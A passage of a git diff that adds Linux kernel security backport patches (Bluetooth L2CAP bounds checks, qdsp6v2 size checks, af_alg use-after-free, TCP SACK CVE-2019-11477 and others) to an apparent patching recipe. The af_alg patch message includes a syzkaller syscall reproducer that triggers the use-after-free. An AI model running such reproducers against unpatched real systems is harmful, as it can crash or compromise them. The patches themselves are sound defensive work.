++ } ++ + if (send_reply) + binder_send_failed_reply(send_reply, BR_DEAD_REPLY); + binder_release_work(&thread->todo); +@@ -3184,6 +3197,8 @@ static unsigned int binder_poll(struct file *filp, + + thread = binder_get_thread(proc); + ++ thread->looper |= BINDER_LOOPER_STATE_POLL; ++ + wait_for_proc_work = thread->transaction_stack == NULL && + list_empty(&thread->todo) && thread->return_error == BR_OK; + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0542-165fffbf94f7-qdsp6v2 apr check for packet size to header size comparison.patch b/recipes-kernel/linux/linux-bass/autopatcher/0542-165fffbf94f7-qdsp6v2 apr check for packet size to header size comparison.patch new file mode 100644 index 0000000..4f60701 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0542-165fffbf94f7-qdsp6v2 apr check for packet size to header size comparison.patch @@ -0,0 +1,33 @@ +From 165fffbf94f706d0fd4b5bbb3675016b39e6c744 Mon Sep 17 00:00:00 2001 +From: Vatsal Bucha +Date: Fri, 1 Mar 2019 13:16:39 +0530 +Subject: qdsp6v2: apr: check for packet size to header size comparison + +Check if packet size is large enough to hold the header. + +Change-Id: I7261f8111d8b5f4f7c181e469de248a732242d64 +Signed-off-by: Vatsal Bucha +--- + drivers/soc/qcom/qdsp6v2/apr.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/drivers/soc/qcom/qdsp6v2/apr.c b/drivers/soc/qcom/qdsp6v2/apr.c +index b1afd02b..8f54087 100644 +--- a/drivers/soc/qcom/qdsp6v2/apr.c ++++ b/drivers/soc/qcom/qdsp6v2/apr.c +@@ -584,6 +584,12 @@ void apr_cb_func(void *buf, int len, void *priv) + pr_err("APR: Wrong paket size\n"); + return; + } ++ ++ if (hdr->pkt_size < hdr_size) { ++ pr_err("APR: Packet size less than header size\n"); ++ return; ++ } ++ + msg_type = hdr->hdr_field; + msg_type = (msg_type >> 0x08) & 0x0003; + if (msg_type >= APR_MSG_TYPE_MAX && msg_type != APR_BASIC_RSP_RESULT) { +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0543-f42a1899a2a4-PATCH Bluetooth Verify that l2capgetconfopt provides large.patch b/recipes-kernel/linux/linux-bass/autopatcher/0543-f42a1899a2a4-PATCH Bluetooth Verify that l2capgetconfopt provides large.patch new file mode 100644 index 0000000..33e4746 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0543-f42a1899a2a4-PATCH Bluetooth Verify that l2capgetconfopt provides large.patch @@ -0,0 +1,65 @@ +From f42a1899a2a42195997ac67a4dfb72e75a989532 Mon Sep 17 00:00:00 2001 +From: Marcel Holtmann +Date: Fri, 18 Jan 2019 13:43:19 +0100 +Subject: [PATCH] Bluetooth: Verify that l2cap_get_conf_opt provides large + enough buffer + +commit 7c9cbd0b5e38a1672fcd137894ace3b042dfbf69 upstream. + +The function l2cap_get_conf_opt will return L2CAP_CONF_OPT_SIZE + opt->len +as length value. The opt->len however is in control over the remote user +and can be used by an attacker to gain access beyond the bounds of the +actual packet. + +To prevent any potential leak of heap memory, it is enough to check that +the resulting len calculation after calling l2cap_get_conf_opt is not +below zero. A well formed packet will always return >= 0 here and will +end with the length value being zero after the last option has been +parsed. In case of malformed packets messing with the opt->len field the +length value will become negative. If that is the case, then just abort +and ignore the option. + +In case an attacker uses a too short opt->len value, then garbage will +be parsed, but that is protected by the unknown option handling and also +the option parameter size checks. + +Change-Id: I73ab93cd9309c9809f00bca7bbd8c6b117816229 +Signed-off-by: Marcel Holtmann +Reviewed-by: Greg Kroah-Hartman +Signed-off-by: Johan Hedberg +Signed-off-by: Greg Kroah-Hartman +--- + net/bluetooth/l2cap_core.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/net/bluetooth/l2cap_core.c b/net/bluetooth/l2cap_core.c +index 18d980918e9..b05f4b2137a 100644 +--- a/net/bluetooth/l2cap_core.c ++++ b/net/bluetooth/l2cap_core.c +@@ -3288,6 +3288,8 @@ static int l2cap_parse_conf_req(struct l2cap_chan *chan, void *data, size_t data + + while (len >= L2CAP_CONF_OPT_SIZE) { + len -= l2cap_get_conf_opt(&req, &type, &olen, &val); ++ if (len < 0) ++ break; + + hint = type & L2CAP_CONF_HINT; + type &= L2CAP_CONF_MASK; +@@ -3506,6 +3508,8 @@ static int l2cap_parse_conf_rsp(struct l2cap_chan *chan, void *rsp, int len, + + while (len >= L2CAP_CONF_OPT_SIZE) { + len -= l2cap_get_conf_opt(&rsp, &type, &olen, &val); ++ if (len < 0) ++ break; + + switch (type) { + case L2CAP_CONF_MTU: +@@ -3674,6 +3678,8 @@ static void l2cap_conf_rfc_get(struct l2cap_chan *chan, void *rsp, int len) + + while (len >= L2CAP_CONF_OPT_SIZE) { + len -= l2cap_get_conf_opt(&rsp, &type, &olen, &val); ++ if (len < 0) ++ break; + + switch (type) { + case L2CAP_CONF_RFC: diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0544-6c3502633086-PATCH Bluetooth Check L2CAP option sizes returned from.patch b/recipes-kernel/linux/linux-bass/autopatcher/0544-6c3502633086-PATCH Bluetooth Check L2CAP option sizes returned from.patch new file mode 100644 index 0000000..854d5ee --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0544-6c3502633086-PATCH Bluetooth Check L2CAP option sizes returned from.patch @@ -0,0 +1,197 @@ +From 6c35026330861f29e4f5963ef12a8e95a290c275 Mon Sep 17 00:00:00 2001 +From: Marcel Holtmann +Date: Fri, 18 Jan 2019 12:56:20 +0100 +Subject: [PATCH] Bluetooth: Check L2CAP option sizes returned from + l2cap_get_conf_opt + +commit af3d5d1c87664a4f150fcf3534c6567cb19909b0 upstream. + +When doing option parsing for standard type values of 1, 2 or 4 octets, +the value is converted directly into a variable instead of a pointer. To +avoid being tricked into being a pointer, check that for these option +types that sizes actually match. In L2CAP every option is fixed size and +thus it is prudent anyway to ensure that the remote side sends us the +right option size along with option paramters. + +If the option size is not matching the option type, then that option is +silently ignored. It is a protocol violation and instead of trying to +give the remote attacker any further hints just pretend that option is +not present and proceed with the default values. Implementation +following the specification and its qualification procedures will always +use the correct size and thus not being impacted here. + +To keep the code readable and consistent accross all options, a few +cosmetic changes were also required. + +Change-Id: Id0f9daa023a43fb73965022f86cd7d779c2918ed +Signed-off-by: Marcel Holtmann +Reviewed-by: Greg Kroah-Hartman +Signed-off-by: Johan Hedberg +Signed-off-by: Greg Kroah-Hartman +--- + net/bluetooth/l2cap_core.c | 77 +++++++++++++++++++++++--------------- + 1 file changed, 46 insertions(+), 31 deletions(-) + +diff --git a/net/bluetooth/l2cap_core.c b/net/bluetooth/l2cap_core.c +index 71968d2b72d..18d980918e9 100644 +--- a/net/bluetooth/l2cap_core.c ++++ b/net/bluetooth/l2cap_core.c +@@ -3294,10 +3294,14 @@ static int l2cap_parse_conf_req(struct l2cap_chan *chan, void *data, size_t data + + switch (type) { + case L2CAP_CONF_MTU: ++ if (olen != 2) ++ break; + mtu = val; + break; + + case L2CAP_CONF_FLUSH_TO: ++ if (olen != 2) ++ break; + chan->flush_to = val; + break; + +@@ -3305,26 +3309,30 @@ static int l2cap_parse_conf_req(struct l2cap_chan *chan, void *data, size_t data + break; + + case L2CAP_CONF_RFC: +- if (olen == sizeof(rfc)) +- memcpy(&rfc, (void *) val, olen); ++ if (olen != sizeof(rfc)) ++ break; ++ memcpy(&rfc, (void *) val, olen); + break; + + case L2CAP_CONF_FCS: ++ if (olen != 1) ++ break; + if (val == L2CAP_FCS_NONE) + set_bit(CONF_RECV_NO_FCS, &chan->conf_state); + break; + + case L2CAP_CONF_EFS: +- if (olen == sizeof(efs)) { +- remote_efs = 1; +- memcpy(&efs, (void *) val, olen); +- } ++ if (olen != sizeof(efs)) ++ break; ++ remote_efs = 1; ++ memcpy(&efs, (void *) val, olen); + break; + + case L2CAP_CONF_EWS: ++ if (olen != 2) ++ break; + if (!enable_hs) + return -ECONNREFUSED; +- + set_bit(FLAG_EXT_CTRL, &chan->flags); + set_bit(CONF_EWS_RECV, &chan->conf_state); + chan->tx_win_max = L2CAP_DEFAULT_EXT_WINDOW; +@@ -3334,7 +3342,6 @@ static int l2cap_parse_conf_req(struct l2cap_chan *chan, void *data, size_t data + default: + if (hint) + break; +- + result = L2CAP_CONF_UNKNOWN; + *((u8 *) ptr++) = type; + break; +@@ -3502,55 +3509,60 @@ static int l2cap_parse_conf_rsp(struct l2cap_chan *chan, void *rsp, int len, + + switch (type) { + case L2CAP_CONF_MTU: ++ if (olen != 2) ++ break; + if (val < L2CAP_DEFAULT_MIN_MTU) { + *result = L2CAP_CONF_UNACCEPT; + chan->imtu = L2CAP_DEFAULT_MIN_MTU; + } else + chan->imtu = val; +- l2cap_add_conf_opt(&ptr, L2CAP_CONF_MTU, 2, chan->imtu, endptr - ptr); ++ l2cap_add_conf_opt(&ptr, L2CAP_CONF_MTU, 2, chan->imtu, ++ endptr - ptr); + break; + + case L2CAP_CONF_FLUSH_TO: ++ if (olen != 2) ++ break; + chan->flush_to = val; +- l2cap_add_conf_opt(&ptr, L2CAP_CONF_FLUSH_TO, +- 2, chan->flush_to, endptr - ptr); ++ l2cap_add_conf_opt(&ptr, L2CAP_CONF_FLUSH_TO, 2, ++ chan->flush_to, endptr - ptr); + break; + + case L2CAP_CONF_RFC: +- if (olen == sizeof(rfc)) +- memcpy(&rfc, (void *)val, olen); +- ++ if (olen != sizeof(rfc)) ++ break; ++ memcpy(&rfc, (void *)val, olen); + if (test_bit(CONF_STATE2_DEVICE, &chan->conf_state) && + rfc.mode != chan->mode) + return -ECONNREFUSED; +- + chan->fcs = 0; +- +- l2cap_add_conf_opt(&ptr, L2CAP_CONF_RFC, +- sizeof(rfc), (unsigned long) &rfc, endptr - ptr); ++ l2cap_add_conf_opt(&ptr, L2CAP_CONF_RFC, sizeof(rfc), ++ (unsigned long) &rfc, endptr - ptr); + break; + + case L2CAP_CONF_EWS: ++ if (olen != 2) ++ break; + chan->ack_win = min_t(u16, val, chan->ack_win); + l2cap_add_conf_opt(&ptr, L2CAP_CONF_EWS, 2, + chan->tx_win, endptr - ptr); + break; + + case L2CAP_CONF_EFS: +- if (olen == sizeof(efs)) { +- memcpy(&efs, (void *)val, olen); +- +- if (chan->local_stype != L2CAP_SERV_NOTRAFIC && +- efs.stype != L2CAP_SERV_NOTRAFIC && +- efs.stype != chan->local_stype) +- return -ECONNREFUSED; +- +- l2cap_add_conf_opt(&ptr, L2CAP_CONF_EFS, sizeof(efs), +- (unsigned long) &efs, endptr - ptr); +- } ++ if (olen != sizeof(efs)) ++ break; ++ memcpy(&efs, (void *)val, olen); ++ if (chan->local_stype != L2CAP_SERV_NOTRAFIC && ++ efs.stype != L2CAP_SERV_NOTRAFIC && ++ efs.stype != chan->local_stype) ++ return -ECONNREFUSED; ++ l2cap_add_conf_opt(&ptr, L2CAP_CONF_EFS, sizeof(efs), ++ (unsigned long) &efs, endptr - ptr); + break; + + case L2CAP_CONF_FCS: ++ if (olen != 1) ++ break; + if (*result == L2CAP_CONF_PENDING) + if (val == L2CAP_FCS_NONE) + set_bit(CONF_RECV_NO_FCS, +@@ -3665,10 +3677,13 @@ static void l2cap_conf_rfc_get(struct l2cap_chan *chan, void *rsp, int len) + + switch (type) { + case L2CAP_CONF_RFC: +- if (olen == sizeof(rfc)) +- memcpy(&rfc, (void *)val, olen); ++ if (olen != sizeof(rfc)) ++ break; ++ memcpy(&rfc, (void *)val, olen); + break; + case L2CAP_CONF_EWS: ++ if (olen != 2) ++ break; + txwin_ext = val; + break; + } diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0545-b270f31a69a1-PATCH net crypto set sk to NULL when afalgrelease.patch b/recipes-kernel/linux/linux-bass/autopatcher/0545-b270f31a69a1-PATCH net crypto set sk to NULL when afalgrelease.patch new file mode 100644 index 0000000..ca8dea2 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0545-b270f31a69a1-PATCH net crypto set sk to NULL when afalgrelease.patch @@ -0,0 +1,122 @@ +From b270f31a69a12a2fb0bd11371f5b75cee96d9484 Mon Sep 17 00:00:00 2001 +From: Mao Wenan +Date: Mon, 18 Feb 2019 10:44:44 +0800 +Subject: [PATCH] net: crypto set sk to NULL when af_alg_release. + +[ Upstream commit 9060cb719e61b685ec0102574e10337fa5f445ea ] + +KASAN has found use-after-free in sockfs_setattr. +The existed commit 6d8c50dcb029 ("socket: close race condition between sock_close() +and sockfs_setattr()") is to fix this simillar issue, but it seems to ignore +that crypto module forgets to set the sk to NULL after af_alg_release. + +KASAN report details as below: +BUG: KASAN: use-after-free in sockfs_setattr+0x120/0x150 +Write of size 4 at addr ffff88837b956128 by task syz-executor0/4186 + +CPU: 2 PID: 4186 Comm: syz-executor0 Not tainted xxx + #1 +Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS +1.10.2-1ubuntu1 04/01/2014 +Call Trace: + dump_stack+0xca/0x13e + print_address_description+0x79/0x330 + ? vprintk_func+0x5e/0xf0 + kasan_report+0x18a/0x2e0 + ? sockfs_setattr+0x120/0x150 + sockfs_setattr+0x120/0x150 + ? sock_register+0x2d0/0x2d0 + notify_change+0x90c/0xd40 + ? chown_common+0x2ef/0x510 + chown_common+0x2ef/0x510 + ? chmod_common+0x3b0/0x3b0 + ? __lock_is_held+0xbc/0x160 + ? __sb_start_write+0x13d/0x2b0 + ? __mnt_want_write+0x19a/0x250 + do_fchownat+0x15c/0x190 + ? __ia32_sys_chmod+0x80/0x80 + ? trace_hardirqs_on_thunk+0x1a/0x1c + __x64_sys_fchownat+0xbf/0x160 + ? lockdep_hardirqs_on+0x39a/0x5e0 + do_syscall_64+0xc8/0x580 + entry_SYSCALL_64_after_hwframe+0x49/0xbe +RIP: 0033:0x462589 +Code: f7 d8 64 89 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 48 89 f8 48 89 +f7 48 89 d6 48 89 +ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 +48 c7 c1 bc ff ff +ff f7 d8 64 89 01 48 +RSP: 002b:00007fb4b2c83c58 EFLAGS: 00000246 ORIG_RAX: 0000000000000104 +RAX: ffffffffffffffda RBX: 000000000072bfa0 RCX: 0000000000462589 +RDX: 0000000000000000 RSI: 00000000200000c0 RDI: 0000000000000007 +RBP: 0000000000000005 R08: 0000000000001000 R09: 0000000000000000 +R10: 0000000000000000 R11: 0000000000000246 R12: 00007fb4b2c846bc +R13: 00000000004bc733 R14: 00000000006f5138 R15: 00000000ffffffff + +Allocated by task 4185: + kasan_kmalloc+0xa0/0xd0 + __kmalloc+0x14a/0x350 + sk_prot_alloc+0xf6/0x290 + sk_alloc+0x3d/0xc00 + af_alg_accept+0x9e/0x670 + hash_accept+0x4a3/0x650 + __sys_accept4+0x306/0x5c0 + __x64_sys_accept4+0x98/0x100 + do_syscall_64+0xc8/0x580 + entry_SYSCALL_64_after_hwframe+0x49/0xbe + +Freed by task 4184: + __kasan_slab_free+0x12e/0x180 + kfree+0xeb/0x2f0 + __sk_destruct+0x4e6/0x6a0 + sk_destruct+0x48/0x70 + __sk_free+0xa9/0x270 + sk_free+0x2a/0x30 + af_alg_release+0x5c/0x70 + __sock_release+0xd3/0x280 + sock_close+0x1a/0x20 + __fput+0x27f/0x7f0 + task_work_run+0x136/0x1b0 + exit_to_usermode_loop+0x1a7/0x1d0 + do_syscall_64+0x461/0x580 + entry_SYSCALL_64_after_hwframe+0x49/0xbe + +Syzkaller reproducer: +r0 = perf_event_open(&(0x7f0000000000)={0x0, 0x70, 0x0, 0x0, 0x0, 0x0, +0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, +0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, +0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, @perf_config_ext}, 0x0, 0x0, +0xffffffffffffffff, 0x0) +r1 = socket$alg(0x26, 0x5, 0x0) +getrusage(0x0, 0x0) +bind(r1, &(0x7f00000001c0)=@alg={0x26, 'hash\x00', 0x0, 0x0, +'sha256-ssse3\x00'}, 0x80) +r2 = accept(r1, 0x0, 0x0) +r3 = accept4$unix(r2, 0x0, 0x0, 0x0) +r4 = dup3(r3, r0, 0x0) +fchownat(r4, &(0x7f00000000c0)='\x00', 0x0, 0x0, 0x1000) + +Fixes: 6d8c50dcb029 ("socket: close race condition between sock_close() and sockfs_setattr()") +Change-Id: I99d9bceb0e405eab1610d452dd05e51c060cde54 +Signed-off-by: Mao Wenan +Signed-off-by: David S. Miller +Signed-off-by: Sasha Levin +--- + crypto/af_alg.c | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +diff --git a/crypto/af_alg.c b/crypto/af_alg.c +index 4e68dad0786..d87ee2a72cd 100644 +--- a/crypto/af_alg.c ++++ b/crypto/af_alg.c +@@ -121,8 +121,10 @@ static void alg_do_release(const struct af_alg_type *type, void *private) + + int af_alg_release(struct socket *sock) + { +- if (sock->sk) ++ if (sock->sk) { + sock_put(sock->sk); ++ sock->sk = NULL; ++ } + return 0; + } + EXPORT_SYMBOL_GPL(af_alg_release); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0546-6a024330650e-driversvirtfslhypervisorc prevent integer overflow in ioctl.patch b/recipes-kernel/linux/linux-bass/autopatcher/0546-6a024330650e-driversvirtfslhypervisorc prevent integer overflow in ioctl.patch new file mode 100644 index 0000000..bca3084 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0546-6a024330650e-driversvirtfslhypervisorc prevent integer overflow in ioctl.patch @@ -0,0 +1,45 @@ +From 6a024330650e24556b8a18cc654ad00cfecf6c6c Mon Sep 17 00:00:00 2001 +From: Dan Carpenter +Date: Tue, 14 May 2019 15:47:03 -0700 +Subject: drivers/virt/fsl_hypervisor.c: prevent integer overflow in ioctl + +The "param.count" value is a u64 thatcomes from the user. The code +later in the function assumes that param.count is at least one and if +it's not then it leads to an Oops when we dereference the ZERO_SIZE_PTR. + +Also the addition can have an integer overflow which would lead us to +allocate a smaller "pages" array than required. I can't immediately +tell what the possible run times implications are, but it's safest to +prevent the overflow. + +Link: http://lkml.kernel.org/r/20181218082129.GE32567@kadam +Fixes: 6db7199407ca ("drivers/virt: introduce Freescale hypervisor management driver") +Signed-off-by: Dan Carpenter +Reviewed-by: Andrew Morton +Cc: Timur Tabi +Cc: Mihai Caraman +Cc: Kumar Gala +Cc: +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +--- + drivers/virt/fsl_hypervisor.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/drivers/virt/fsl_hypervisor.c b/drivers/virt/fsl_hypervisor.c +index a41431edbf25c..93d5bebf9572a 100644 +--- a/drivers/virt/fsl_hypervisor.c ++++ b/drivers/virt/fsl_hypervisor.c +@@ -215,6 +215,9 @@ static long ioctl_memcpy(struct fsl_hv_ioctl_memcpy __user *p) + * hypervisor. + */ + lb_offset = param.local_vaddr & (PAGE_SIZE - 1); ++ if (param.count == 0 || ++ param.count > U64_MAX - lb_offset - PAGE_SIZE + 1) ++ return -EINVAL; + num_pages = (param.count + lb_offset + PAGE_SIZE - 1) >> PAGE_SHIFT; + + /* Allocate the buffers we need */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0547-8961e92e6305-dsp q6voice Check size of shared memory buffer before access.patch b/recipes-kernel/linux/linux-bass/autopatcher/0547-8961e92e6305-dsp q6voice Check size of shared memory buffer before access.patch new file mode 100644 index 0000000..203a278 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0547-8961e92e6305-dsp q6voice Check size of shared memory buffer before access.patch @@ -0,0 +1,33 @@ +From 8961e92e63050918263578740e28e18d1a6ca8f7 Mon Sep 17 00:00:00 2001 +From: Vatsal Bucha +Date: Tue, 5 Mar 2019 16:00:21 +0530 +Subject: dsp: q6voice: Check size of shared memory buffer before access + +Check buffer size in qdsp_cvs_callback before access in +ul_pkt. + +Change-Id: Ic19994b46086709231656ec747d2df988b7a512f +Signed-off-by: Vatsal Bucha +--- + sound/soc/msm/qdsp6v2/q6voice.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/sound/soc/msm/qdsp6v2/q6voice.c b/sound/soc/msm/qdsp6v2/q6voice.c +index 506611d8..55cccb2 100644 +--- a/sound/soc/msm/qdsp6v2/q6voice.c ++++ b/sound/soc/msm/qdsp6v2/q6voice.c +@@ -6612,6 +6612,11 @@ static int32_t qdsp_cvs_callback(struct apr_client_data *data, void *priv) + + cvs_voc_pkt = v->shmem_info.sh_buf.buf[1].data; + if (cvs_voc_pkt != NULL && common.mvs_info.ul_cb != NULL) { ++ if (v->shmem_info.sh_buf.buf[1].size < ++ ((3 * sizeof(uint32_t)) + cvs_voc_pkt[2])) { ++ pr_err("%s: invalid voc pkt size\n", __func__); ++ return -EINVAL; ++ } + /* cvs_voc_pkt[0] contains tx timestamp */ + common.mvs_info.ul_cb((uint8_t *)&cvs_voc_pkt[3], + cvs_voc_pkt[2], +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0548-ab5c7e36a5bf-selinux KASAN slaboutofbounds in xattrgetsecurity.patch b/recipes-kernel/linux/linux-bass/autopatcher/0548-ab5c7e36a5bf-selinux KASAN slaboutofbounds in xattrgetsecurity.patch new file mode 100644 index 0000000..9ff7bea --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0548-ab5c7e36a5bf-selinux KASAN slaboutofbounds in xattrgetsecurity.patch @@ -0,0 +1,50 @@ +From ab5c7e36a5bfb35e782b79be4ff12555fa7f17d4 Mon Sep 17 00:00:00 2001 +From: Sachin Grover +Date: Thu, 24 May 2018 22:48:55 +0530 +Subject: selinux: KASAN: slab-out-of-bounds in xattr_getsecurity + +Call trace: + [] dump_backtrace+0x0/0x428 + [] show_stack+0x28/0x38 + [] dump_stack+0xd4/0x124 + [] print_address_description+0x68/0x258 + [] kasan_report.part.2+0x228/0x2f0 + [] kasan_report+0x5c/0x70 + [] check_memory_region+0x12c/0x1c0 + [] memcpy+0x34/0x68 + [] xattr_getsecurity+0xe0/0x160 + [] vfs_getxattr+0xc8/0x120 + [] getxattr+0x100/0x2c8 + [] SyS_fgetxattr+0x64/0xa0 + [] el0_svc_naked+0x24/0x28 + +If user get root access and calls security.selinux setxattr() with an +embedded NUL on a file and then if some process performs a getxattr() +on that file with a length greater than the actual length of the string, +it would result in a panic. + +To fix this, add the actual length of the string to the security context +instead of the length passed by the userspace process. + +Change-Id: Ie0b8bfc7c96bc12282b955fb3adf41b3c2d011cd +Signed-off-by: Sachin Grover +--- + security/selinux/ss/services.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/security/selinux/ss/services.c b/security/selinux/ss/services.c +index 051ee18..31e1254 100644 +--- a/security/selinux/ss/services.c ++++ b/security/selinux/ss/services.c +@@ -1433,7 +1433,7 @@ static int security_context_to_sid_core(const char *scontext, u32 scontext_len, + scontext_len, &context, def_sid); + if (rc == -EINVAL && force) { + context.str = str; +- context.len = scontext_len; ++ context.len = strlen(str) + 1; + str = NULL; + } else if (rc) + goto out_unlock; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0549-4b6fb386eeaa-msm qdsp6v2 Check size of payload before access.patch b/recipes-kernel/linux/linux-bass/autopatcher/0549-4b6fb386eeaa-msm qdsp6v2 Check size of payload before access.patch new file mode 100644 index 0000000..dd37400 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0549-4b6fb386eeaa-msm qdsp6v2 Check size of payload before access.patch @@ -0,0 +1,29 @@ +From 4b6fb386eeaa3e16215963c32d27ada762ace428 Mon Sep 17 00:00:00 2001 +From: Vatsal Bucha +Date: Fri, 22 Feb 2019 12:42:46 +0530 +Subject: msm: qdsp6v2: Check size of payload before access + +Check size of payload array before access in qdsp_cvp_callback. + +Change-Id: Ic5ea6686a1a09df75ddd5e6fdcdfbd74efff83d8 +Signed-off-by: Vatsal Bucha +--- + sound/soc/msm/qdsp6v2/q6voice.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/sound/soc/msm/qdsp6v2/q6voice.c b/sound/soc/msm/qdsp6v2/q6voice.c +index 6918914..1ef94ac 100644 +--- a/sound/soc/msm/qdsp6v2/q6voice.c ++++ b/sound/soc/msm/qdsp6v2/q6voice.c +@@ -6952,7 +6952,7 @@ static int32_t qdsp_cvp_callback(struct apr_client_data *data, void *priv) + } + + if (data->opcode == APR_BASIC_RSP_RESULT) { +- if (data->payload_size) { ++ if (data->payload_size >= (2 * sizeof(uint32_t))) { + ptr = data->payload; + + pr_debug("%x %x\n", ptr[0], ptr[1]); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0550-175309edc537-PATCH netns provide pure entropy for nethashmix.patch b/recipes-kernel/linux/linux-bass/autopatcher/0550-175309edc537-PATCH netns provide pure entropy for nethashmix.patch new file mode 100644 index 0000000..e7c960c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0550-175309edc537-PATCH netns provide pure entropy for nethashmix.patch @@ -0,0 +1,85 @@ +From 175309edc537857b4106637be03c14e871e87c76 Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Wed, 27 Mar 2019 08:21:30 -0700 +Subject: [PATCH] netns: provide pure entropy for net_hash_mix() + +[ Upstream commit 355b98553789b646ed97ad801a619ff898471b92 ] + +net_hash_mix() currently uses kernel address of a struct net, +and is used in many places that could be used to reveal this +address to a patient attacker, thus defeating KASLR, for +the typical case (initial net namespace, &init_net is +not dynamically allocated) + +I believe the original implementation tried to avoid spending +too many cycles in this function, but security comes first. + +Also provide entropy regardless of CONFIG_NET_NS. + +Fixes: 0b4419162aa6 ("netns: introduce the net_hash_mix "salt" for hashes") +Change-Id: If8819e29af0839bca9d1a5f16fb90ecb566a32b3 +Signed-off-by: Eric Dumazet +Reported-by: Amit Klein +Reported-by: Benny Pinkas +Cc: Pavel Emelyanov +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + include/net/net_namespace.h | 2 ++ + include/net/netns/hash.h | 15 ++------------- + net/core/net_namespace.c | 1 + + 3 files changed, 5 insertions(+), 13 deletions(-) + +diff --git a/include/net/net_namespace.h b/include/net/net_namespace.h +index d11fd370cd4..4f0e6b67e49 100644 +--- a/include/net/net_namespace.h ++++ b/include/net/net_namespace.h +@@ -52,6 +52,8 @@ struct net { + #endif + spinlock_t rules_mod_lock; + ++ u32 hash_mix; ++ + struct list_head list; /* list of network namespaces */ + struct list_head cleanup_list; /* namespaces on death row */ + struct list_head exit_list; /* Use only net_mutex */ +diff --git a/include/net/netns/hash.h b/include/net/netns/hash.h +index c06ac58ca10..31441b7f579 100644 +--- a/include/net/netns/hash.h ++++ b/include/net/netns/hash.h +@@ -1,21 +1,10 @@ + #ifndef __NET_NS_HASH_H__ + #define __NET_NS_HASH_H__ + +-#include +- +-struct net; ++#include + + static inline unsigned int net_hash_mix(struct net *net) + { +-#ifdef CONFIG_NET_NS +- /* +- * shift this right to eliminate bits, that are +- * always zeroed +- */ +- +- return (unsigned)(((unsigned long)net) >> L1_CACHE_SHIFT); +-#else +- return 0; +-#endif ++ return net->hash_mix; + } + #endif +diff --git a/net/core/net_namespace.c b/net/core/net_namespace.c +index f9765203675..f281ccca3cb 100644 +--- a/net/core/net_namespace.c ++++ b/net/core/net_namespace.c +@@ -156,6 +156,7 @@ static __net_init int setup_net(struct net *net, struct user_namespace *user_ns) + + atomic_set(&net->count, 1); + atomic_set(&net->passive, 1); ++ get_random_bytes(&net->hash_mix, sizeof(u32)); + net->dev_base_seq = 1; + net->user_ns = user_ns; + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0551-434ad8e8f920-PATCH tcp limit payload size of sacked skbs.patch b/recipes-kernel/linux/linux-bass/autopatcher/0551-434ad8e8f920-PATCH tcp limit payload size of sacked skbs.patch new file mode 100644 index 0000000..9223b0d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0551-434ad8e8f920-PATCH tcp limit payload size of sacked skbs.patch @@ -0,0 +1,181 @@ +From 434ad8e8f920bf2c1b797c8d571982d64c31a9c0 Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Sat, 15 Jun 2019 17:31:03 -0700 +Subject: [PATCH] tcp: limit payload size of sacked skbs + +commit 3b4929f65b0d8249f19a50245cd88ed1a2f78cff upstream. + +Jonathan Looney reported that TCP can trigger the following crash +in tcp_shifted_skb() : + + BUG_ON(tcp_skb_pcount(skb) < pcount); + +This can happen if the remote peer has advertized the smallest +MSS that linux TCP accepts : 48 + +An skb can hold 17 fragments, and each fragment can hold 32KB +on x86, or 64KB on PowerPC. + +This means that the 16bit witdh of TCP_SKB_CB(skb)->tcp_gso_segs +can overflow. + +Note that tcp_sendmsg() builds skbs with less than 64KB +of payload, so this problem needs SACK to be enabled. +SACK blocks allow TCP to coalesce multiple skbs in the retransmit +queue, thus filling the 17 fragments to maximal capacity. + +CVE-2019-11477 -- u16 overflow of TCP_SKB_CB(skb)->tcp_gso_segs + +Backport notes, provided by Joao Martins + +v4.15 or since commit 737ff314563 ("tcp: use sequence distance to +detect reordering") had switched from the packet-based FACK tracking and +switched to sequence-based. + +v4.14 and older still have the old logic and hence on +tcp_skb_shift_data() needs to retain its original logic and have +@fack_count in sync. In other words, we keep the increment of pcount with +tcp_skb_pcount(skb) to later used that to update fack_count. To make it +more explicit we track the new skb that 